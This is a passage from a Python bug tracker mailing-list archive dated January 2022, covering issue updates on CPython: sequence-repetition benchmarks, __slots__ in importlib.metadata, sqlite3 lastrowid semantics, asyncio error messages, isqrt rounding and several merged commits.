1.55x faster - list(range(10)) * 100: 1.19 us +- 0.10 us -> 795 ns +- 20 ns: 1.49x faster - tuple(range(1000)) * 10: 15.9 us +- 0.4 us -> 10.6 us +- 0.2 us: 1.49x faster - list(range(100)) * 10: 1.17 us +- 0.03 us -> 797 ns +- 17 ns: 1.47x faster - (None,) * 10000: 27.5 us +- 0.3 us -> 18.9 us +- 0.1 us: 1.46x faster - tuple(range(100)) * 1000: 138 us +- 2 us -> 95.4 us +- 0.7 us: 1.45x faster - tuple(range(100)) * 10000: 1.52 ms +- 0.02 ms -> 1.05 ms +- 0.01 ms: 1.45x faster - tuple(range(10)) * 1000: 12.9 us +- 0.2 us -> 9.28 us +- 0.18 us: 1.39x faster - list(range(1000)) * 2: 3.05 us +- 0.07 us -> 2.22 us +- 0.04 us: 1.37x faster - tuple(range(100)) * 100: 13.0 us +- 0.2 us -> 9.53 us +- 0.28 us: 1.37x faster - tuple(range(1000)) * 10000: 23.2 ms +- 0.4 ms -> 17.0 ms +- 0.3 ms: 1.36x faster - (None,) * 1000: 2.66 us +- 0.02 us -> 1.97 us +- 0.02 us: 1.35x faster - ("Python", "Perl") * 10000: 33.8 us +- 0.8 us -> 25.4 us +- 0.2 us: 1.33x faster - tuple(range(10)) * 10: 236 ns +- 17 ns -> 178 ns +- 1 ns: 1.33x faster - ["Python", "Perl"] * 1000: 3.41 us +- 0.03 us -> 2.67 us +- 0.03 us: 1.28x faster - ["Python", "Perl"] * 10000: 33.8 us +- 0.3 us -> 26.4 us +- 0.2 us: 1.28x faster - list(range(10)) * 10: 172 ns +- 2 ns -> 135 ns +- 2 ns: 1.27x faster - ("Python", "Perl") * 1000: 3.18 us +- 0.03 us -> 2.56 us +- 0.03 us: 1.24x faster - ("Python", "Perl") * 100: 428 ns +- 9 ns -> 345 ns +- 4 ns: 1.24x faster - (None,) * 100: 306 ns +- 4 ns -> 248 ns +- 2 ns: 1.23x faster - ["Python", "Perl"] * 100: 440 ns +- 8 ns -> 360 ns +- 14 ns: 1.22x faster - tuple(range(1000)) * 2: 3.03 us +- 0.06 us -> 2.49 us +- 0.03 us: 1.22x faster - tuple(range(10)) * 100: 1.25 us +- 0.08 us -> 1.04 us +- 0.03 us: 1.20x faster - tuple(range(100)) * 10: 1.22 us +- 0.02 us -> 1.05 us +- 0.01 us: 1.17x faster - list(range(100)) * 2: 320 ns +- 19 ns -> 275 ns +- 10 ns: 1.16x faster - ["Python", "Perl"] * 10: 85.0 ns +- 3.1 ns -> 73.7 ns +- 1.3 ns: 1.15x faster - (None,) * 10: 63.4 ns +- 1.7 ns -> 55.4 ns +- 0.6 ns: 1.14x faster - tuple(range(100)) * 2: 345 ns +- 7 ns -> 318 ns +- 13 ns: 1.09x faster - ("Python", "Perl") * 10: 88.6 ns +- 2.7 ns -> 83.3 ns +- 1.9 ns: 1.06x faster - list(range(10)) * 2: 73.5 ns +- 1.2 ns -> 70.7 ns +- 1.9 ns: 1.04x faster - tuple(range(10)) * 2: 85.5 ns +- 3.9 ns -> 82.7 ns +- 1.0 ns: 1.03x faster - ["Python", "Perl"] * 2: 56.1 ns +- 0.6 ns -> 54.5 ns +- 0.6 ns: 1.03x faster - (None,) * 2: 46.7 ns +- 0.5 ns -> 45.6 ns +- 0.9 ns: 1.02x faster Benchmark hidden because not significant (2): [None] * 100, [None] * 10000 Geometric mean: 1.32x faster ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:57:52 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Tue, 04 Jan 2022 07:57:52 +0000 Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> Message-ID: <1641283072.57.0.484148048317.issue46246@roundup.psfhosted.org> Arie Bovenberg added the comment: @jaraco thanks for your quick response. In short: __slots__ allows class layout to be optimized by replacing the class __dict__ with specific descriptors. This results in a class where only specific attributes can be get/set. However, you only really get the savings from __slots__ if all base classes also implement it. An example: from pympler.asizeof import asizeof # checks complete size of objects in memory class EmptyNoSlots: pass class EmptyWithSlots: __slots__ = () class NoSlots: def __init__(self, a, b): self.a, self.b = a, b class WithSlots: __slots__ = ("a", "b") def __init__(self, a, b): self.a, self.b = a, b print(asizeof(EmptyNoSlots())) # 152 print(asizeof(EmptyWithSlots())) # 32 print(asizeof(NoSlots(1, 2))) # 328 print(asizeof(WithSlots(1, 2))) # 112 # Let's look at inheritance: class WithSlotsAndProperBaseClass(EmptyWithSlots): __slots__ = ("a", "b") def __init__(self, a, b): self.a, self.b = a, b class NoSlotsAtAll(EmptyNoSlots): def __init__(self, a, b): self.a, self.b = a, b class WithSlotsAndBadBaseClass(EmptyNoSlots): __slots__ = ("a", "b") def __init__(self, a, b): self.a, self.b = a, b print(asizeof(WithSlotsAndProperBaseClass(1, 2))) # 112 print(asizeof(NoSlotsAtAll(1, 2))) # 328 print(asizeof(WithSlotsAndBadBaseClass(1, 2))) # 232 -- oh no! In importlib: list <- has slots (builtin) DeprecatedList(list) <- no __slots__ defined EntryPoints(DeprecatedList) <- defines __slots__ Besides the lost memory savings, because `DeprecatedList` has no slots, you can still do: EntryPoints().foo = 6 # setting a random attribute, not the intention. Further reading: https://stackoverflow.com/a/28059785 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:31:05 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 04 Jan 2022 08:31:05 +0000 Subject: [issue46252] SSLWantReadError causes _SelectorSocketTransport to close Message-ID: <1641285065.46.0.026141752437.issue46252@roundup.psfhosted.org> Change by Christian Heimes : ---------- assignee: christian.heimes -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:42:34 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 04 Jan 2022 08:42:34 +0000 Subject: [issue46238] Improve constants usage / definition in asyncio.windows_events In-Reply-To: <1641201442.54.0.841372993832.issue46238@roundup.psfhosted.org> Message-ID: <1641285754.71.0.756774260591.issue46238@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 1b111338cfe7840feea95e30ea8124063c450c65 by Nikita Sobolev in branch 'main': bpo-46238: reuse `_winapi` constants in `asyncio.windows_events` (GH-30352) https://github.com/python/cpython/commit/1b111338cfe7840feea95e30ea8124063c450c65 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:42:55 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 04 Jan 2022 08:42:55 +0000 Subject: [issue46238] Improve constants usage / definition in asyncio.windows_events In-Reply-To: <1641201442.54.0.841372993832.issue46238@roundup.psfhosted.org> Message-ID: <1641285775.49.0.814295529793.issue46238@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:44:37 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 04 Jan 2022 08:44:37 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641285877.23.0.628700707394.issue46239@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 5a2a65096c3ec2d37f33615f2a420d2ffcabecf2 by Nikita Sobolev in branch 'main': bpo-46239: improve error message when importing `asyncio.windows_events` (GH-30353) https://github.com/python/cpython/commit/5a2a65096c3ec2d37f33615f2a420d2ffcabecf2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:45:42 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 08:45:42 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641285942.92.0.704442917779.issue46239@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28597 pull_request: https://github.com/python/cpython/pull/30388 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:45:47 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 08:45:47 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641285947.12.0.691820724364.issue46239@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28598 pull_request: https://github.com/python/cpython/pull/30389 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 03:52:16 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 04 Jan 2022 08:52:16 +0000 Subject: [issue46187] Optionally support rounding for math.isqrt() In-Reply-To: <1640633399.46.0.8152811809.issue46187@roundup.psfhosted.org> Message-ID: <1641286336.62.0.411510719437.issue46187@roundup.psfhosted.org> Serhiy Storchaka added the comment: Is i, rem = isqrt_rem(n) i + (rem != 0) better than (isqrt(n<<2) + 1) >> 1 or n and isqrt(n-1) + 1 ? As for use cases, there were few cases in my experience when I needed the ceiling square root, mostly in simple experiments in REPL, but it was so rary, and workarounds satisfied me. So it would be a nice to have feature which I would use perhaps once in a year or two years, but can live without it. And I do not want to pay a cost of significantly complicating API or slowing down isqrt(). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 04:14:16 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 09:14:16 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641287656.36.0.315742958608.issue46239@roundup.psfhosted.org> miss-islington added the comment: New changeset 86d1b8c13fcaf8a974cf2ae23b31fe87dfdb6267 by Miss Islington (bot) in branch '3.9': bpo-46239: improve error message when importing `asyncio.windows_events` (GH-30353) https://github.com/python/cpython/commit/86d1b8c13fcaf8a974cf2ae23b31fe87dfdb6267 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 04:22:40 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 04 Jan 2022 09:22:40 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641288160.71.0.404290347924.issue46239@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 04:22:46 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 04 Jan 2022 09:22:46 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641288166.91.0.771575232359.issue46239@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset cf48a148190a6ccadc144cab2e2046e95c20fb57 by Miss Islington (bot) in branch '3.10': bpo-46239: improve error message when importing `asyncio.windows_events` (GH-30353) (#30388) https://github.com/python/cpython/commit/cf48a148190a6ccadc144cab2e2046e95c20fb57 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 04:36:38 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 09:36:38 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641288998.9.0.558303960955.issue44092@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset a09062c267a94200ad299f779429fea1b571ee35 by Erlend Egeberg Aasland in branch 'main': bpo-44092: Move What's New entry to where it belongs (GH-30381) https://github.com/python/cpython/commit/a09062c267a94200ad299f779429fea1b571ee35 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 04:36:50 2022 From: report at bugs.python.org (colorfulappl) Date: Tue, 04 Jan 2022 09:36:50 +0000 Subject: [issue46212] Avoid temporary `varargs` tuple creation in argument passing In-Reply-To: <1640945147.14.0.155789461509.issue46212@roundup.psfhosted.org> Message-ID: <1641289010.78.0.991304410831.issue46212@roundup.psfhosted.org> colorfulappl added the comment: I am a rookie in Python, did not notice changing PyAPI_FUNC means breaking backward compatibility. I have reverted _PyArg_UnpackKeywordsWithVararg and committed again. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 04:48:54 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 04 Jan 2022 09:48:54 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641253751.15.0.329949671702.issue46249@roundup.psfhosted.org> Message-ID: <15d840f9-8238-1372-7629-0f3ce00fee21@egenix.com> Marc-Andre Lemburg added the comment: On 04.01.2022 00:49, Erlend E. Aasland wrote: > > Erlend E. Aasland added the comment: > > I see that PEP 249 does not define the semantics of lastrowid for executemany(). What's the precedence here, MAL? IMO, it would be nice to be able to fetch the last row id after you've done a 1000 inserts using executemany(). The DB-API deliberately leaves this undefined, since there are many ways you could implement this, e.g. - return the last row id for the last entry in the array passed to .executemany() - return the last row id of the last actually modified/inserted row after running .executemany() - return an array of row ids, one for each row modified/inserted - return a row id of one of the modified/inserted rows, without defining which - always return None for .executemany() Note that in some cases, the order of actions taken by the database is not predefined (e.g. some databases run such inserts in chunks across a cluster), so even the "last" semantics are not clear. > So, another option would be to keep "set-lastrowid" in the query loop, and just remove the condition; we set it every time (but of course only build a PyObject of it when the loop is done). Since the DB-API leaves this undefined, you are free to add your own meaning, which makes most sense for SQLite, to always return None or not implement it at all. DB-API extensions such as Cursor.lastrowid are optional and don't need to be implemented if they don't make sense for a particular use case: https://www.python.org/dev/peps/pep-0249/#optional-db-api-extensions ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:02:55 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 10:02:55 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641290575.89.0.719199526838.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: Thank you for your input Marc-Andr?. For SQLite, it's pretty simple: we use an API called sqlite3_last_insert_rowid() which takes the database connection as it's argument, not a statement pointer. This function returns "the rowid of the most recent successful INSERT into a rowid table or virtual table on database connection" (quote from SQLite docs). IMO, it would make sense to also use this post executemany(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:02:56 2022 From: report at bugs.python.org (Uriya Harpeness) Date: Tue, 04 Jan 2022 10:02:56 +0000 Subject: [issue46254] Better fitting type for iterating in the trace_init C function Message-ID: <1641290576.49.0.884053638438.issue46254@roundup.psfhosted.org> Change by Uriya Harpeness : ---------- components: C API nosy: uriya1998 priority: normal severity: normal status: open title: Better fitting type for iterating in the trace_init C function type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:14:19 2022 From: report at bugs.python.org (Yassir Karroum) Date: Tue, 04 Jan 2022 10:14:19 +0000 Subject: [issue46245] Add support for dir_fd in shutil.rmtree() In-Reply-To: <1641233298.42.0.900326324833.issue46245@roundup.psfhosted.org> Message-ID: <1641291259.05.0.864925976301.issue46245@roundup.psfhosted.org> Yassir Karroum added the comment: No problem, I'll resume working on issue25927, thanks for the fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:16:12 2022 From: report at bugs.python.org (Yassir Karroum) Date: Tue, 04 Jan 2022 10:16:12 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641291372.99.0.77786223058.issue25927@roundup.psfhosted.org> Change by Yassir Karroum : ---------- versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:37:15 2022 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 Jan 2022 10:37:15 +0000 Subject: [issue46202] remove opcode POP_EXCEPT_AND_RERAISE In-Reply-To: <1640859376.18.0.58534498395.issue46202@roundup.psfhosted.org> Message-ID: <1641292635.64.0.184550808353.issue46202@roundup.psfhosted.org> Mark Shannon added the comment: New changeset a94461d7189d7f1147ab304a332c8684263dc17e by Irit Katriel in branch 'main': bpo-46202: Remove opcode POP_EXCEPT_AND_RERAISE (GH-30302) https://github.com/python/cpython/commit/a94461d7189d7f1147ab304a332c8684263dc17e ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:41:30 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 10:41:30 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1641292890.76.0.0935086411428.issue46240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 70f415fb8b632247e28d87998642317ca7a652ae by Pablo Galindo Salgado in branch 'main': bpo-46240: Correct the error for unclosed parentheses when the tokenizer is not finished (GH-30378) https://github.com/python/cpython/commit/70f415fb8b632247e28d87998642317ca7a652ae ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:41:31 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 10:41:31 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1641292891.69.0.63754068495.issue46240@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28599 pull_request: https://github.com/python/cpython/pull/30390 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:42:18 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 10:42:18 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641292938.93.0.622652311629.issue46231@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset e09d94a140a5f6903017da9b6ac752ba041d69da by Pablo Galindo Salgado in branch 'main': bpo-46231: Remove invalid_* rules preceded by more tokens from the grammar docs (GH-30341) https://github.com/python/cpython/commit/e09d94a140a5f6903017da9b6ac752ba041d69da ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:42:23 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 10:42:23 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641292943.6.0.0402963698417.issue46231@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28600 pull_request: https://github.com/python/cpython/pull/30391 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:42:27 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 10:42:27 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641292947.84.0.434995005257.issue46231@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28601 pull_request: https://github.com/python/cpython/pull/30392 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:43:34 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 04 Jan 2022 10:43:34 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641293014.98.0.125251422065.issue25927@roundup.psfhosted.org> Serhiy Storchaka added the comment: I have also almost finished this issue (only needed to add some tests and docs). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:44:32 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 10:44:32 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641293072.31.0.126405702634.issue46231@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:44:50 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 10:44:50 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1641293090.8.0.895490477701.issue46240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Thanks Andre for the report! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:45:50 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 04 Jan 2022 10:45:50 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641290575.89.0.719199526838.issue46249@roundup.psfhosted.org> Message-ID: <9a6e5d8e-629d-d6ee-a517-3c7080391e43@egenix.com> Marc-Andre Lemburg added the comment: On 04.01.2022 11:02, Erlend E. Aasland wrote: > > Erlend E. Aasland added the comment: > > Thank you for your input Marc-Andr?. > > For SQLite, it's pretty simple: we use an API called sqlite3_last_insert_rowid() which takes the database connection as it's argument, not a statement pointer. This function returns "the rowid of the most recent successful INSERT into a rowid table or virtual table on database connection" (quote from SQLite docs). IMO, it would make sense to also use this post executemany(). Sounds like a plan. If possible, it's usually better to have the .executemany() create a cursor with an output array providing the row ids, e.g. using "INSERT ... RETURNING ..." (PostgreSQL). That way you can access all row ids and can also provide the needed detail in case the INSERTs happen out of order to map them to the input data. For cases where you don't need sequence IDs, it's often better to not rely on auto-increment columns for IDs, but instead use random pre-generated IDs. Saves roundtrips to the database and works nicely with cluster databases as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:50:13 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 04 Jan 2022 10:50:13 +0000 Subject: [issue46181] Destroying an expaned Combobox prevents Entry focus until Alt+Tab In-Reply-To: <1640521278.35.0.92599921807.issue46181@roundup.psfhosted.org> Message-ID: <1641293413.62.0.938058948285.issue46181@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:52:04 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 04 Jan 2022 10:52:04 +0000 Subject: [issue46119] Update bundled pip to 21.3.1 and setuptools to 59.7.0 Message-ID: <1641293524.87.0.201078648147.issue46119@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +28602 pull_request: https://github.com/python/cpython/pull/30393 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:52:51 2022 From: report at bugs.python.org (Roundup Robot) Date: Tue, 04 Jan 2022 10:52:51 +0000 Subject: [issue46254] Better fitting type for iterating in the trace_init C function Message-ID: <1641293571.4.0.472652941318.issue46254@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 1.0 -> 2.0 pull_requests: +28603 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30394 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:57:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 10:57:14 +0000 Subject: [issue46202] remove opcode POP_EXCEPT_AND_RERAISE In-Reply-To: <1640859376.18.0.58534498395.issue46202@roundup.psfhosted.org> Message-ID: <1641293834.49.0.0650136276524.issue46202@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:03:51 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 11:03:51 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641294231.69.0.947900545531.issue46231@roundup.psfhosted.org> miss-islington added the comment: New changeset 743394f2811796b30b618d4cb6dd582715f8638c by Miss Islington (bot) in branch '3.10': bpo-46231: Remove invalid_* rules preceded by more tokens from the grammar docs (GH-30341) https://github.com/python/cpython/commit/743394f2811796b30b618d4cb6dd582715f8638c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:04:46 2022 From: report at bugs.python.org (Yassir Karroum) Date: Tue, 04 Jan 2022 11:04:46 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641294286.54.0.104752588487.issue25927@roundup.psfhosted.org> Yassir Karroum added the comment: Alright, I'll stop working on it then, thanks for the fix ! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:34:40 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 11:34:40 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641296080.85.0.987117104877.issue33252@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +28604 pull_request: https://github.com/python/cpython/pull/30395 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:34:44 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 11:34:44 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641296084.89.0.282225626152.issue33252@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28605 pull_request: https://github.com/python/cpython/pull/30396 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:35:05 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 11:35:05 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641296105.29.0.301114293552.issue33252@roundup.psfhosted.org> miss-islington added the comment: New changeset b949845b36b999185ed2bdf8a04dca1da39f3002 by Hugo van Kemenade in branch 'main': bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) https://github.com/python/cpython/commit/b949845b36b999185ed2bdf8a04dca1da39f3002 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:39:53 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Tue, 04 Jan 2022 11:39:53 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1641296393.6.0.38097037893.issue43224@roundup.psfhosted.org> Change by Matthew Rahtz : ---------- components: +Parser, Tests nosy: +lys.nikolaou, pablogsal title: Add support for PEP 646 (Variadic Generics) to typing.py -> Add support for PEP 646 versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:44:35 2022 From: report at bugs.python.org (Ma Lin) Date: Tue, 04 Jan 2022 11:44:35 +0000 Subject: [issue46255] Remove unnecessary check in _IOBase._check*() methods Message-ID: <1641296675.58.0.463475399149.issue46255@roundup.psfhosted.org> New submission from Ma Lin : These methods are METH_NOARGS, in all cases the second parameter will be NULL. {"_checkClosed", _PyIOBase_check_closed, METH_NOARGS}, {"_checkSeekable", _PyIOBase_check_seekable, METH_NOARGS}, {"_checkReadable", _PyIOBase_check_readable, METH_NOARGS}, {"_checkWritable", _PyIOBase_check_writable, METH_NOARGS}, ---------- components: IO messages: 409672 nosy: malin priority: normal severity: normal status: open title: Remove unnecessary check in _IOBase._check*() methods versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:45:44 2022 From: report at bugs.python.org (Ma Lin) Date: Tue, 04 Jan 2022 11:45:44 +0000 Subject: [issue46255] Remove unnecessary check in _IOBase._check*() methods In-Reply-To: <1641296675.58.0.463475399149.issue46255@roundup.psfhosted.org> Message-ID: <1641296744.11.0.858461603513.issue46255@roundup.psfhosted.org> Change by Ma Lin : ---------- keywords: +patch pull_requests: +28606 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30397 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 07:03:43 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 12:03:43 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641297823.53.0.231386191494.issue33252@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 01b12942d0ba2fd3c2efdfb796e8816efc607ee7 by Miss Islington (bot) in branch 